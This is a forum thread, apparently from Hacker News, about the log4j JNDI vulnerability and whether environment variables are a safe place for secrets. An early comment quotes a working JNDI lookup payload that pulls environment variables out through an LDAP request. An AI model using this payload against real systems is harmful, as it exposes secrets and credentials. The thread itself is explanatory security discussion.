[brasetvik]

> But one thing that I haven't seen mentioned enough is that this only affects pretty old versions of java.

Recent versions were still susceptible to e.g. exfiltration of env vars, which may often contain secrets.

${jndi:ldap://127.0.0.1:1389/o=${env:PATH}}

[xorcist]

This here is the reason why the current obsession with storing everything configuration related, including secrets, in environment variables is a bad idea. This is without even touching on the fact that the environment is propagated to every child process every time.

[staticassertion]

> including secrets, in environment variables is a bad idea.

I don't think this is the lesson to take away here. Arbitrary remote read of environment variables is not a common issue.

Also you can easily not propagate secrets to a child process. But there isn't a ton of point to that on most systems since if you can't trust your child process just not passing in the secret is not gonna cut it.

[exyi]

Which other place do you suggest for secrets? File access is even more common security bug, also may be accessed by subprocesses and even other processes. Cmdline argument don't propagate to childs, but are accessible. I don't know about any other options that would be reasonably easy to use.

[xorcist]

Files have all sorts of protection mechanisms available, both built in to the file system and on top of it, is traditionally used to store secrets, and doesn't generally leak. So that should be the starting point.

Command line argument would be visible in the process table, hopefully no one would suggest that. It also is not persistent, so it generally needs to be fed from someplace anyway. Generally a file. This is something it shares with environment variables.

[Too]

Stdin and keep in variables only. I know it’s a lot less convenient but if you are looking for security this is one level up.

Files in /tmp that your application deletes immediately after read is another.

[ComputerGuru]

In git, as encrypted files. It couldn’t be easier: https://neosmart.net/blog/2020/securestore-open-secrets-form...

[scriptdevil]

TBF,files should be fine if we use something like the openbsd unveil mechanic

[yjftsjthsd-h]

Okay, yes, but to date, to a first approximation, nobody does that. And yes, that's unfortunate, but in the world we live in, and the world we will live in for the near future, environment variables seem no worse than any other option, regardless of ways that other options could be made better.

[dcow]

Env vars are strictly worse than files because of how easy they are to access. You need shell code of some sort to read a file assuming you don’t privilege drop whereas env vars are persistently available to everything everywhere.

[strenholme]

Huh? Environmental variables are only available to a process, any children the process has, any other process running as the same user ID, and the root user on a given POSIX compliant system.

E.g if I do this:

  export FOO=bar

processes running as other user IDs (unless root) will not know FOO is “bar”. Actually, even other processes running as me/root won’t know FOO’s value until I spawn a child process after that “export” command—environment only becomes visible outside a process when it runs execve() and passes its environment on.

An environmental variable is about as safe as a file with 600 or 700 perms (i.e. make a file be set up with POSIX ACLs to be read only by the owner of the file): If user separation is done so insecure processes run with a different user/group ID (and modern *NIX system gives each user its own default group), the cracker still has work to do before getting important secrets in our environment.

Also, FOO being bar in the environment (i.e. we can see it with getenv() ) will only be visible to the current any child process after “export FOO=bar”.

If you’re able to run getenv() to get at the environment, or able to read (in Linux) /proc/$PID/environ to see the environment of other processes running as you, you will generally also be able to run open() to get at files.

Environment leaking is a serious bug in a *NIX/POSIX system; If I can, as “Alice”, view anything in the environment belonging to “Bob”, that’s a serious security bug which needs to have a CVE number.

[kuraudoOishii]

Where else do we put them? Cloud secret stores? Where do we store the credentials for that?